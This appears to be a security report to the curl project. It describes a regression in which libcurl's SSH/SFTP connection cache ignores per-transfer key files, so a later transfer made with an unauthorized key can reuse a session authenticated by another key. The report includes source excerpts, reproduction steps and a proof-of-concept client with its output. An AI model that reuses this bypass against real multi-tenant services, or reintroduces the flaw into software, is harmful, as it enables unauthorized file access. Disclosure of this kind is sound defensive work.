curl · Report #3788506
SSH/SFTP connection reuse can bypass SSH key identity after ssh_config_matches removal
How it was found
Summary:
libcurl's SSH/SFTP connection reuse logic no longer binds a pooled SSH connection to the SSH key identity requested by the new transfer. After ssh_config_matches was removed, url_match_proto_config() again has no SSH-specific check for CURLOPT_SSH_PUBLIC_KEYFILE or CURLOPT_SSH_PRIVATE_KEYFILE. An application can first open an SFTP connection with an authorized key and then perform a second SFTP transfer configured with an unauthorized key; the second transfer can reuse the already-authenticated SSH session and access data as the first key. This is the same bug class as CVE-2022-27782 and CVE-2023-27538, but the current code has reintroduced the missing SSH auth-context comparison. The issue is connection-cache authentication-context confusion, not denial of service.
The vulnerable matcher currently checks HTTP and FTP protocol configuration, but there is no SSH branch:
static bool url_match_proto_config(struct connectdata *conn,
struct url_conn_match *m)
{
if(!url_match_http_version(conn, m))
return FALSE;
#ifndef CURL_DISABLE_FTP
else if(get_protocol_family(m->needle->scheme) & PROTO_FAMILY_FTP) {
if(!ftp_conns_match(m->needle, conn))
return FALSE;
}
#endif
return TRUE;
}
The removed check was the only SSH-specific reuse guard:
- if(get_protocol_family(m->needle->scheme) & PROTO_FAMILY_SSH) {
- if(!ssh_config_matches(m->needle, conn))
- return FALSE;
- }
The key options are still per-transfer inputs and are used during SSH authentication:
case CURLOPT_SSH_PRIVATE_KEYFILE:
return Curl_setstropt(&s->str[STRING_SSH_PRIVATE_KEY], ptr);
libssh2_userauth_publickey_fromfile_ex(sshc->ssh_session,
user,
curlx_uztoui(strlen(user)),
sshc->rsa_pub,
sshc->rsa,
sshc->passphrase);
The problem is that a later transfer with different key files can be matched to the already-authenticated connection before a new SSH authentication happens.
Affected version
Test target: curl/libcurl source checkout 7b9613fa9b on Linux, built with libssh2/SFTP support.
Example expected feature output:
curl 8.x.x-DEV (...) libcurl/8.x.x-DEV ... libssh2/...
Protocols: ... scp sftp ...
Features: ... SSL ...
The relevant public history is:
CVE-2022-27782: TLS and SSH connection too eager reuse
CVE-2023-27538: SSH connection too eager reuse still
Regression point: 3e9817cd1b url: remove ssh_config_matches
Steps To Reproduce:
- Build curl from the affected source with libssh2/SFTP support.
./buildconf
./configure --with-libssh2 --with-gnutls --without-openssl
make -j"$(nproc)"
- Start a local SSH/SFTP server with one account,
user_a, and put onlyuser_a_key.pubinuser_a'sauthorized_keys.
ssh-keygen -t ed25519 -f user_a_key -N ""
ssh-keygen -t ed25519 -f unauthorized_key -N ""
install -d -m 700 ~user_a/.ssh
cp user_a_key.pub ~user_a/.ssh/authorized_keys
echo "user_a_secret_data" > ~user_a/secret.txt
chmod 600 ~user_a/secret.txt
- Run a libcurl client that performs three SFTP transfers. The important part is that the first two transfers share
CURL_LOCK_DATA_CONNECT, while the third transfer uses a fresh cache as the control.
CURLSH *share = curl_share_init();
curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_CONNECT);
/* Step 1: authorized key succeeds and leaves an authenticated SSH session in the pool */
sftp_get(share, "sftp://[email protected]/~/secret.txt",
"user_a_key", "user_a_key.pub");
/* Step 2: unauthorized key should fail, but succeeds if it reuses step 1's session */
sftp_get(share, "sftp://[email protected]/~/secret.txt",
"unauthorized_key", "unauthorized_key.pub");
/* Step 3: same unauthorized key with a fresh cache must be denied */
CURLSH *fresh = curl_share_init();
sftp_get(fresh, "sftp://[email protected]/~/secret.txt",
"unauthorized_key", "unauthorized_key.pub");
The sftp_get() helper only sets the URL, CURLOPT_SHARE, CURLOPT_SSH_PRIVATE_KEYFILE, CURLOPT_SSH_PUBLIC_KEYFILE, and a write callback:
curl_easy_setopt(c, CURLOPT_URL, url);
curl_easy_setopt(c, CURLOPT_SHARE, share);
curl_easy_setopt(c, CURLOPT_SSH_PRIVATE_KEYFILE, key_priv);
curl_easy_setopt(c, CURLOPT_SSH_PUBLIC_KEYFILE, key_pub);
curl_easy_setopt(c, CURLOPT_WRITEFUNCTION, write_cb);
- Vulnerable output:
--- Step 1: authorized key reads user_a's secret ---
OK: "user_a_secret_data"
--- Step 2: UNAUTHORIZED key reads user_a's secret (shared cache) ---
SUCCEEDED: "user_a_secret_data"
--- Step 3 (control): UNAUTHORIZED key, FRESH cache ---
DENIED (expected): CURLE_LOGIN_DENIED
VULNERABILITY CONFIRMED
The control proves the unauthorized key is not accepted by the SSH server. It only succeeds in Step 2 because libcurl reuses the SSH session authenticated by the authorized key.
Impact
Summary:
Applications that use libcurl's shared connection cache for SFTP/SCP can silently perform a transfer under the wrong SSH identity. A lower-privileged user, tenant, or job that controls one request can ride an existing pooled SSH session authenticated with a different key and read or write resources that its own key cannot access. This is especially relevant for backend services, CI/CD systems, deployment tools, backup systems, and multi-tenant file-transfer services that reuse libcurl handles or share connection caches for performance. The impact is unauthorized file access and authentication-context confusion, not only a local application bug, because the server sees the reused authenticated SSH session as valid.